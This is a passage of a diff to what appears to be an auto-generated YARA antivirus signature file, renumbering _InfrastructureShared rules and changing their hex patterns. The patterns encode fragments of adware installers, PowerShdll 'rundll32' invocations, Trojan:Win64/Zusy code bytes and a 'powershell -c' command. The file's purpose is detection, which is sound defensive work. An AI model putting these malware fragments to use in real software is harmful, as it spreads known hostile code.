1)*6+(#a_53_4 & 1)*14930) >=6 } -rule _InfrastructureShared_17306{ +rule _InfrastructureShared_18435{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 21 " @@ -206258,7 +219927,7 @@ rule _InfrastructureShared_17306{ ((#a_46_0 & 1)*16675+(#a_01_2 & 1)*2+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=6 } -rule _InfrastructureShared_17307{ +rule _InfrastructureShared_18436{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 21 " @@ -206274,7 +219943,7 @@ rule _InfrastructureShared_17307{ ((#a_54_0 & 1)*18467+(#a_30_1 & 1)*286+(#a_39_2 & 1)*14337+(#a_32_4 & 1)*17729+(#a_34_5 & 1)*16694+(#a_45_6 & 1)*3843+(#a_74_7 & 1)*-7034) >=6 } -rule _InfrastructureShared_17308{ +rule _InfrastructureShared_18437{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 0a 00 21 " @@ -206292,7 +219961,7 @@ rule _InfrastructureShared_17308{ ((#a_54_0 & 1)*18467+(#a_ec_1 & 1)*-4981+(#a_74_2 & 1)*-7034+(#a_00_4 & 1)*58+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_29_8 & 1)*0+(#a_01_9 & 1)*1) >=7 } -rule _InfrastructureShared_17309{ +rule _InfrastructureShared_18438{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -206306,7 +219975,7 @@ rule _InfrastructureShared_17309{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*48+(#a_00_4 & 1)*125+(#a_00_6 & 1)*112+(#a_74_8 & 1)*29271) >=9 } -rule _InfrastructureShared_17310{ +rule _InfrastructureShared_18439{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 08 00 21 " @@ -206323,7 +219992,7 @@ rule _InfrastructureShared_17310{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*11777+(#a_20_2 & 1)*30066+(#a_4c_3 & 1)*22347+(#a_76_4 & 1)*29550+(#a_74_5 & 1)*28263+(#a_73_6 & 1)*11897+(#a_70_7 & 1)*23041) >=10 } -rule _InfrastructureShared_17311{ +rule _InfrastructureShared_18440{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -206342,7 +220011,7 @@ rule _InfrastructureShared_17311{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*23667+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_29_9 & 1)*0) >=10 } -rule _InfrastructureShared_17312{ +rule _InfrastructureShared_18441{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0c 00 21 " @@ -206363,7 +220032,7 @@ rule _InfrastructureShared_17312{ ((#a_46_0 & 1)*16675+(#a_4f_1 & 1)*29264+(#a_66_2 & 1)*20225+(#a_00_3 & 1)*10+(#a_4d_4 & 1)*17473+(#a_70_5 & 1)*28515+(#a_72_6 & 1)*26214+(#a_52_7 & 1)*-32753+(#a_63_8 & 1)*29300+(#a_2e_9 & 1)*21861+(#a_01_10 & 1)*28532+(#a_72_11 & 1)*26214) >=10 } -rule _InfrastructureShared_17313{ +rule _InfrastructureShared_18442{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0c 00 21 " @@ -206384,7 +220053,7 @@ rule _InfrastructureShared_17313{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*384+(#a_49_2 & 1)*-32762+(#a_01_3 & 1)*25958+(#a_45_4 & 1)*8993+(#a_6e_5 & 1)*16997+(#a_4f_6 & 1)*25441+(#a_4d_7 & 1)*29285+(#a_6e_8 & 1)*28751+(#a_52_9 & 1)*21335+(#a_4c_10 & 1)*17153+(#a_37_11 & 1)*17990) >=10 } -rule _InfrastructureShared_17314{ +rule _InfrastructureShared_18443{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0c 00 21 " @@ -206405,7 +220074,7 @@ rule _InfrastructureShared_17314{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*28532+(#a_6e_2 & 1)*17153+(#a_65_3 & 1)*30575+(#a_6e_4 & 1)*17252+(#a_4f_5 & 1)*20575+(#a_4d_6 & 1)*12639+(#a_35_7 & 1)*12867+(#a_61_8 & 1)*28773+(#a_00_9 & 1)*109+(#a_01_10 & 1)*-28557+(#a_07_11 & 1)*2560) >=10 } -rule _InfrastructureShared_17315{ +rule _InfrastructureShared_18444{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -206425,7 +220094,7 @@ rule _InfrastructureShared_17315{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*28751+(#a_52_2 & 1)*21335+(#a_4c_3 & 1)*17153+(#a_37_4 & 1)*17990+(#a_6e_5 & 1)*16997+(#a_74_6 & 1)*29271+(#a_4d_7 & 1)*14389+(#a_17_8 & 1)*0+(#a_69_9 & 1)*29550+(#a_50_10 & 1)*25966) >=11 } -rule _InfrastructureShared_17316{ +rule _InfrastructureShared_18445{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -206445,7 +220114,7 @@ rule _InfrastructureShared_17316{ ((#a_54_0 & 1)*18467+(#a_30_1 & 1)*14640+(#a_72_2 & 1)*275+(#a_69_3 & 1)*22273+(#a_06_4 & 1)*8704+(#a_6f_5 & 1)*0+(#a_4d_6 & 1)*25966+(#a_75_7 & 1)*29541+(#a_21_8 & 1)*13385+(#a_48_9 & 1)*17988+(#a_01_10 & 1)*17490) >=11 } -rule _InfrastructureShared_17317{ +rule _InfrastructureShared_18446{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 09 00 21 " @@ -206463,7 +220132,7 @@ rule _InfrastructureShared_17317{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*26989+(#a_65_2 & 1)*29810+(#a_65_3 & 1)*16687+(#a_48_4 & 1)*16967+(#a_41_5 & 1)*24936+(#a_4c_6 & 1)*11873+(#a_72_7 & 1)*31337+(#a_73_8 & 1)*30308) >=12 } -rule _InfrastructureShared_17318{ +rule _InfrastructureShared_18447{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -206485,7 +220154,7 @@ rule _InfrastructureShared_17318{ ((#a_54_0 & 1)*18467+(#a_46_1 & 1)*16723+(#a_46_2 & 1)*22087+(#a_61_3 & 1)*29554+(#a_5f_4 & 1)*25959+(#a_65_5 & 1)*11891+(#a_72_6 & 1)*26956+(#a_02_7 & 1)*1+(#a_80_8 & 1)*10+(#a_80_9 & 1)*10+(#a_80_10 & 1)*10+(#a_80_11 & 1)*10+(#a_80_12 & 1)*10) >=13 } -rule _InfrastructureShared_17319{ +rule _InfrastructureShared_18448{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,22 00 22 00 0a 00 21 " @@ -206504,7 +220173,7 @@ rule _InfrastructureShared_17319{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*11891+(#a_52_2 & 1)*29541+(#a_69_3 & 1)*25665+(#a_21_4 & 1)*18222+(#a_8b_5 & 1)*400+(#a_04_6 & 1)*-28440+(#a_01_7 & 1)*-28603+(#a_e8_8 & 1)*400+(#a_50_9 & 1)*400) >=34 } -rule _InfrastructureShared_17320{ +rule _InfrastructureShared_18449{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,5b 00 5b 00 0b 00 21 " @@ -206524,7 +220193,7 @@ rule _InfrastructureShared_17320{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*144+(#a_8d_2 & 1)*-29950+(#a_48_3 & 1)*8448+(#a_6e_4 & 1)*30309+(#a_2e_5 & 1)*25454+(#a_6c_6 & 1)*30311+(#a_ad_7 & 1)*8304+(#a_4c_8 & 1)*328+(#a_45_9 & 1)*1025+(#a_10_10 & 1)*400) >=91 } -rule _InfrastructureShared_17321{ +rule _InfrastructureShared_18450{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,7d 00 7d 00 0c 00 21 " @@ -206541,7 +220210,7 @@ rule _InfrastructureShared_17321{ ((#a_54_0 & 1)*18467+(#a_65_2 & 1)*24935+(#a_65_3 & 1)*27745+(#a_61_4 & 1)*24930+(#a_48_5 & 1)*1163+(#a_00_7 & 1)*10872+(#a_48_9 & 1)*8448+(#a_90_10 & 1)*-30484) >=125 } -rule _InfrastructureShared_17322{ +rule _InfrastructureShared_18451{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -206551,7 +220220,7 @@ rule _InfrastructureShared_17322{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_17323{ +rule _InfrastructureShared_18452{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -206566,7 +220235,7 @@ rule _InfrastructureShared_17323{ ((#a_54_0 & 1)*18467+(#a_88_1 & 1)*-5504+(#a_80_2 & 1)*400+(#a_88_3 & 1)*257+(#a_3a_4 & 1)*21587+(#a_1e_5 & 1)*-16118) >=1 } -rule _InfrastructureShared_17324{ +rule _InfrastructureShared_18453{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0b 00 21 " @@ -206584,7 +220253,7 @@ rule _InfrastructureShared_17324{ ((#a_54_0 & 1)*18467+(#a_e0_1 & 1)*2561+(#a_01_3 & 1)*30720+(#a_83_4 & 1)*17803+(#a_00_5 & 1)*10872+(#a_41_7 & 1)*8448+(#a_b8_8 & 1)*-29867+(#a_01_9 & 1)*30207+(#a_61_10 & 1)*281) >=1 } -rule _InfrastructureShared_17325{ +rule _InfrastructureShared_18454{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -206595,7 +220264,7 @@ rule _InfrastructureShared_17325{ ((#a_46_0 & 1)*16675+(#a_08_1 & 1)*-29952) >=2 } -rule _InfrastructureShared_17326{ +rule _InfrastructureShared_18455{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -206606,7 +220275,7 @@ rule _InfrastructureShared_17326{ ((#a_46_0 & 1)*16675+(#a_6a_1 & 1)*400) >=2 } -rule _InfrastructureShared_17327{ +rule _InfrastructureShared_18456{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -206617,7 +220286,7 @@ rule _InfrastructureShared_17327{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*28777) >=3 } -rule _InfrastructureShared_17328{ +rule _InfrastructureShared_18457{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -206631,7 +220300,7 @@ rule _InfrastructureShared_17328{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*107+(#a_01_2 & 1)*114+(#a_01_3 & 1)*30720+(#a_76_4 & 1)*29284) >=3 } -rule _InfrastructureShared_17329{ +rule _InfrastructureShared_18458{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -206646,7 +220315,7 @@ rule _InfrastructureShared_17329{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*105+(#a_6d_3 & 1)*17252+(#a_5f_4 & 1)*24937+(#a_61_5 & 1)*281+(#a_01_6 & 1)*1) >=3 } -rule _InfrastructureShared_17330{ +rule _InfrastructureShared_18459{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -206658,7 +220327,7 @@ rule _InfrastructureShared_17330{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*28532+(#a_00_3 & 1)*97) >=4 } -rule _InfrastructureShared_17331{ +rule _InfrastructureShared_18460{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -206671,7 +220340,7 @@ rule _InfrastructureShared_17331{ ((#a_54_0 & 1)*18467+(#a_11_1 & 1)*1811+(#a_13_2 & 1)*2560+(#a_2f_3 & 1)*13166) >=4 } -rule _InfrastructureShared_17332{ +rule _InfrastructureShared_18461{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -206687,7 +220356,7 @@ rule _InfrastructureShared_17332{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*30319+(#a_20_2 & 1)*11552+(#a_3a_3 & 1)*17744+(#a_6f_4 & 1)*21348+(#a_00_5 & 1)*99+(#a_6c_6 & 1)*18223) >=4 } -rule _InfrastructureShared_17333{ +rule _InfrastructureShared_18462{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 21 " @@ -206704,7 +220373,7 @@ rule _InfrastructureShared_17333{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*28001+(#a_75_2 & 1)*27715+(#a_00_3 & 1)*107+(#a_00_4 & 1)*83+(#a_64_5 & 1)*24942+(#a_67_6 & 1)*26980+(#a_00_8 & 1)*10872) >=6 } -rule _InfrastructureShared_17334{ +rule _InfrastructureShared_18463{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -206720,7 +220389,7 @@ rule _InfrastructureShared_17334{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*23652+(#a_65_2 & 1)*28462+(#a_23_3 & 1)*8+(#a_43_4 & 1)*19713+(#a_6c_5 & 1)*24948+(#a_6f_6 & 1)*25449) >=7 } -rule _InfrastructureShared_17335{ +rule _InfrastructureShared_18464{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -206737,7 +220406,7 @@ rule _InfrastructureShared_17335{ ((#a_54_0 & 1)*18467+(#a_5c_1 & 1)*14387+(#a_78_2 & 1)*27756+(#a_6f_3 & 1)*385+(#a_00_4 & 1)*1+(#a_57_5 & 1)*21076+(#a_74_6 & 1)*25709+(#a_41_7 & 1)*11777) >=8 } -rule _InfrastructureShared_17336{ +rule _InfrastructureShared_18465{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -206753,7 +220422,7 @@ rule _InfrastructureShared_17336{ ((#a_54_0 & 1)*18467+(#a_79_1 & 1)*27760+(#a_00_2 & 1)*30056+(#a_6e_3 & 1)*385+(#a_32_4 & 1)*28265+(#a_ff_6 & 1)*-280+(#a_30_7 & 1)*21581) >=8 } -rule _InfrastructureShared_17337{ +rule _InfrastructureShared_18466{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 05 00 21 " @@ -206767,7 +220436,7 @@ rule _InfrastructureShared_17337{ ((#a_46_0 & 1)*16675+(#a_8b_1 & 1)*26368+(#a_00_2 & 1)*12524+(#a_01_3 & 1)*1+(#a_2a_4 & 1)*0) >=9 } -rule _InfrastructureShared_17338{ +rule _InfrastructureShared_18467{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 06 00 21 " @@ -206781,7 +220450,7 @@ rule _InfrastructureShared_17338{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*116+(#a_00_3 & 1)*104+(#a_00_4 & 1)*25711+(#a_6e_5 & 1)*384) >=9 } -rule _InfrastructureShared_17339{ +rule _InfrastructureShared_18468{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -206799,7 +220468,7 @@ rule _InfrastructureShared_17339{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1280+(#a_5c_2 & 1)*28274+(#a_2e_3 & 1)*27763+(#a_52_4 & 1)*28009+(#a_72_5 & 1)*28531+(#a_48_6 & 1)*8448+(#a_74_7 & 1)*28500+(#a_75_8 & 1)*29541) >=9 } -rule _InfrastructureShared_17340{ +rule _InfrastructureShared_18469{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 08 00 21 " @@ -206816,7 +220485,7 @@ rule _InfrastructureShared_17340{ ((#a_54_0 & 1)*18467+(#a_11_1 & 1)*-28411+(#a_17_2 & 1)*4508+(#a_01_3 & 1)*8960+(#a_01_4 & 1)*26988+(#a_6f_5 & 1)*11896+(#a_75_6 & 1)*29541+(#a_64_7 & 1)*13414) >=10 } -rule _InfrastructureShared_17341{ +rule _InfrastructureShared_18470{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -206835,7 +220504,7 @@ rule _InfrastructureShared_17341{ ((#a_54_0 & 1)*18467+(#a_42_1 & 1)*25961+(#a_79_2 & 1)*27762+(#a_61_3 & 1)*28530+(#a_65_4 & 1)*27503+(#a_65_5 & 1)*26996+(#a_6f_6 & 1)*28793+(#a_6f_7 & 1)*26740+(#a_65_8 & 1)*29285+(#a_2d_9 & 1)*400) >=10 } -rule _InfrastructureShared_17342{ +rule _InfrastructureShared_18471{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -206854,7 +220523,7 @@ rule _InfrastructureShared_17342{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*27497+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_2a_6 & 1)*0+(#a_72_7 & 1)*29811+(#a_69_8 & 1)*24931+(#a_57_9 & 1)*29285) >=10 } -rule _InfrastructureShared_17343{ +rule _InfrastructureShared_18472{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -206868,15 +220537,14 @@ rule _InfrastructureShared_17343{ $a_64_6 = {77 6e 6c 6f 61 64 2e 64 6c 6c 01 00 10 00 69 74 64 5f 64 6f 77 6e 6c 6f 61 64 66 69 6c 65 01 00 0e 00 69 74 64 5f 63 6c 65 61 72 66 69 6c 65 73 00 00 78 2a 01 00 11 00 0e 00 09 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 50 69 67 53 65 61 72 63 68 00 03 00 32 01 68 20 3d 20 25 6c 64 28 25 78 29 2c 20 73 20 3d 20 25 6c 64 28 25 78 29 2c 20 76 } //26880 $a_25_7 = {64 28 25 78 29 2c 20 6c 20 3d 20 25 6c 64 28 25 78 29 03 00 18 01 52 6f 6f 74 5c 4c 45 47 41 43 } //15648 $a_63_8 = {6c 77 61 79 5c 30 30 30 30 03 00 12 01 52 6f 6f 74 5c 4c 45 47 41 43 59 5f 61 62 68 63 6f 70 03 00 10 01 25 73 7a 73 65 61 72 63 68 2e 65 78 65 20 61 61 03 00 49 01 72 75 6e 64 6c 6c 33 32 2e 65 78 65 20 73 65 74 75 70 61 70 69 2c 49 6e 73 74 61 6c 6c 48 69 6e 66 53 65 63 74 69 6f 6e 20 44 65 66 61 75 6c 74 49 } //24409 - $a_61_9 = {6c 20 31 33 32 20 2e 5c 68 63 61 6c 77 61 79 2e 69 6e 66 03 00 0e 01 25 25 73 73 65 61 72 63 68 6d 2e 64 6c 6c 02 00 0a 01 61 62 68 63 6f 70 2e 73 79 73 02 00 0b 01 68 63 61 6c 77 61 79 2e 73 79 73 02 00 0d 01 5c 48 75 61 43 69 5c 68 75 61 63 69 5c 00 00 78 2b 01 00 01 00 01 00 03 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 } //29550 - $a_6f_10 = {65 72 53 68 64 6c 6c 00 01 00 64 03 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 20 00 50 00 6f 00 77 00 65 00 72 00 53 00 68 00 64 00 6c 00 6c 00 2c 00 6d 00 61 00 69 00 6e 00 20 00 2d 00 66 00 20 00 3c 00 70 00 61 00 74 00 68 00 3e 00 } //12136 - $a_09_11 = {30 } //11408 0 - $a_2d_12 = {61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 2f 03 5c 50 6f 77 65 72 53 68 64 6c 6c 2e 64 6c 6c 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a } //14637 + $a_61_9 = {6c 20 31 33 32 20 2e 5c 68 63 61 6c 77 61 79 2e 69 6e 66 03 00 0e 01 25 25 73 73 65 61 72 63 68 6d 2e 64 6c 6c 02 00 0a 01 61 62 68 63 6f 70 2e 73 79 73 02 00 0b 01 68 63 61 6c 77 61 79 2e 73 79 73 02 00 0d 01 5c 48 75 61 43 69 5c 68 75 61 63 69 5c 00 00 78 2a 01 00 97 00 97 00 06 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 5a 75 } //29550 + $a_41_10 = {45 21 4d 54 42 00 64 00 43 01 48 8d 44 24 50 45 31 c9 45 31 c0 48 89 44 24 48 48 8d 44 24 70 48 89 da 31 c9 48 89 44 24 40 48 c7 44 24 38 } //31091 + $a_24_12 = {00 00 00 00 c7 44 24 28 00 00 00 08 c7 44 24 20 00 00 00 00 ff 15 32 00 44 01 70 6f 77 65 72 73 68 65 6c 6c 20 20 2d 63 20 22 24 6e 3d 5b 53 79 73 74 65 6d 2e 4c 69 6e 71 2e 45 6e 75 6d 65 72 61 62 6c 65 } //-14520 condition: - ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*26988+(#a_6f_2 & 1)*271+(#a_6f_3 & 1)*21562+(#a_2f_4 & 1)*28265+(#a_00_5 & 1)*29556+(#a_64_6 & 1)*26880+(#a_25_7 & 1)*15648+(#a_63_8 & 1)*24409+(#a_61_9 & 1)*29550+(#a_6f_10 & 1)*12136+(#a_09_11 & 1)*11408+(#a_2d_12 & 1)*14637) >=13 + ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*26988+(#a_6f_2 & 1)*271+(#a_6f_3 & 1)*21562+(#a_2f_4 & 1)*28265+(#a_00_5 & 1)*29556+(#a_64_6 & 1)*26880+(#a_25_7 & 1)*15648+(#a_63_8 & 1)*24409+(#a_61_9 & 1)*29550+(#a_41_10 & 1)*31091+(#a_24_12 & 1)*-14520) >=13 } -rule _InfrastructureShared_17344{ +rule _InfrastructureShared_18473{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0e 00 07 00 21 " @@ -206887,12 +220555,12 @@ rule _InfrastructureShared_17344{ $a_23_3 = {64 77 61 72 65 3a 57 69 6e 33 32 2f 50 69 67 53 65 61 72 63 68 00 03 00 32 01 68 20 3d 20 25 6c 64 } //9 $a_29_4 = {20 73 20 3d 20 25 6c 64 28 25 78 29 2c 20 76 20 3d 20 25 6c 64 28 25 78 29 2c 20 6c 20 3d 20 25 6c 64 28 25 78 29 03 00 18 01 52 6f 6f 74 5c 4c 45 47 41 43 59 5f 68 63 61 6c 77 61 79 5c 30 30 30 30 03 00 12 01 52 6f 6f 74 5c 4c 45 47 41 43 59 5f 61 62 68 63 6f 70 03 00 10 01 25 73 7a 73 65 61 72 63 68 2e 65 78 65 20 61 61 03 00 49 01 72 75 6e 64 6c 6c 33 32 } //9512 $a_65_5 = {73 65 74 75 70 61 70 69 2c 49 6e 73 74 61 6c 6c 48 69 6e 66 53 65 63 74 69 6f 6e 20 44 65 66 61 75 6c 74 49 6e 73 74 61 6c 6c 20 31 33 32 20 2e 5c 68 63 61 6c 77 61 79 2e 69 6e 66 03 00 0e 01 25 25 73 73 65 61 72 63 68 6d 2e 64 6c 6c 02 00 0a 01 61 62 68 63 6f 70 2e 73 79 73 02 00 0b 01 68 63 61 6c 77 61 79 2e 73 79 73 02 00 0d 01 5c 48 75 61 43 69 5c 68 75 } //25902 - $a_5c_6 = {00 78 2b 01 00 01 00 01 00 03 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 50 6f 77 65 72 53 68 64 6c 6c 00 01 00 64 03 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 20 00 50 00 6f 00 77 00 65 00 72 00 53 00 68 00 64 00 6c 00 6c 00 2c 00 6d 00 61 00 69 00 6e 00 20 00 2d 00 66 00 20 00 } //25441 + $a_5c_6 = {00 78 2a 01 00 97 00 97 00 06 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 5a 75 73 79 2e 41 48 45 21 4d 54 42 00 64 00 43 01 48 8d 44 24 50 45 31 c9 45 31 c0 48 89 44 24 48 48 8d 44 24 70 48 89 da 31 c9 48 89 44 24 40 48 c7 44 24 38 00 00 00 00 48 c7 44 24 30 00 00 00 00 c7 44 24 28 00 00 00 08 c7 } //25441 condition: ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*28205+(#a_72_2 & 1)*27987+(#a_23_3 & 1)*9+(#a_29_4 & 1)*9512+(#a_65_5 & 1)*25902+(#a_5c_6 & 1)*25441) >=14 } -rule _InfrastructureShared_17345{ +rule _InfrastructureShared_18474{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 0e 00 09 00 21 " @@ -206900,15 +220568,30 @@ rule _InfrastructureShared_17345{ $a_77_0 = {72 65 3a 57 69 6e 33 32 2f 50 69 67 53 65 61 72 63 68 00 03 00 32 01 68 20 3d 20 25 6c 64 28 25 78 29 2c 20 73 20 3d 20 25 6c 64 28 25 78 29 2c 20 76 20 3d 20 25 6c 64 28 25 78 29 2c 20 6c 20 3d 20 25 6c 64 28 25 78 29 03 00 18 01 52 6f 6f 74 5c 4c 45 47 41 43 59 5f 68 63 61 6c 77 61 79 5c 30 30 30 } //16675 $a_74_2 = {4c 45 47 41 43 59 5f 61 62 68 63 6f 70 03 00 10 01 25 73 7a 73 65 61 72 63 68 2e 65 78 65 20 61 61 03 00 49 01 72 75 6e 64 6c 6c 33 32 2e 65 78 65 20 73 65 74 75 70 61 70 69 2c 49 6e 73 74 61 6c 6c 48 69 6e 66 53 65 63 74 69 6f 6e 20 44 65 66 61 75 6c 74 49 6e 73 74 61 6c 6c 20 31 33 32 20 2e 5c 68 63 61 6c 77 61 79 2e 69 6e 66 03 } //28498 $a_25_3 = {73 } //3584 s - $a_72_4 = {68 6d 2e 64 6c 6c 02 00 0a 01 61 62 68 63 6f 70 2e 73 79 73 02 00 0b 01 68 63 61 6c 77 61 79 2e 73 79 73 02 00 0d 01 5c 48 75 61 43 69 5c 68 75 61 63 69 5c 00 00 78 2b 01 00 01 00 01 00 03 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 50 6f 77 65 72 53 68 64 6c 6c } //25971 - $a_00_6 = {6e 00 64 00 6c 00 6c 00 33 00 32 00 20 00 50 00 6f 00 77 00 65 00 72 00 53 00 68 00 64 00 6c 00 6c 00 2c 00 6d 00 61 00 69 00 6e 00 20 00 2d 00 66 00 20 00 3c 00 70 00 61 00 74 00 68 00 3e 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 2f 03 5c 50 6f 77 65 72 53 68 64 6c 6c 2e 64 6c 6c 90 19 } //114 - $a_2d_7 = {41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 62 03 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 20 00 50 00 6f 00 77 00 65 00 72 00 53 00 68 00 64 00 6c 00 6c 00 2c 00 6d 00 61 00 69 00 6e 00 20 00 3c 00 73 00 63 00 72 00 69 00 70 00 74 00 3e 00 90 2c } //2305 - $a_2d_8 = {41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 00 00 78 2b 01 00 01 00 01 00 07 00 21 23 54 45 4c 3a 52 61 6e 73 6f } //2305 + $a_72_4 = {68 6d 2e 64 6c 6c 02 00 0a 01 61 62 68 63 6f 70 2e 73 79 73 02 00 0b 01 68 63 61 6c 77 61 79 2e 73 79 73 02 00 0d 01 5c 48 75 61 43 69 5c 68 75 61 63 69 5c 00 00 78 2a 01 00 97 00 97 00 06 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 5a 75 73 79 2e 41 48 45 21 4d 54 42 00 64 } //25971 + $a_48_5 = {44 } //17152 D + $a_31_6 = {45 31 c0 48 89 44 24 48 48 8d 44 24 70 48 89 da 31 c9 48 89 44 24 40 48 c7 44 24 38 00 00 00 00 48 c7 44 24 30 00 00 00 00 c7 44 24 28 00 00 00 08 c7 44 24 20 00 00 00 00 ff 15 32 00 44 01 70 6f 77 65 72 73 } //20516 + $a_6c_7 = {20 2d 63 20 22 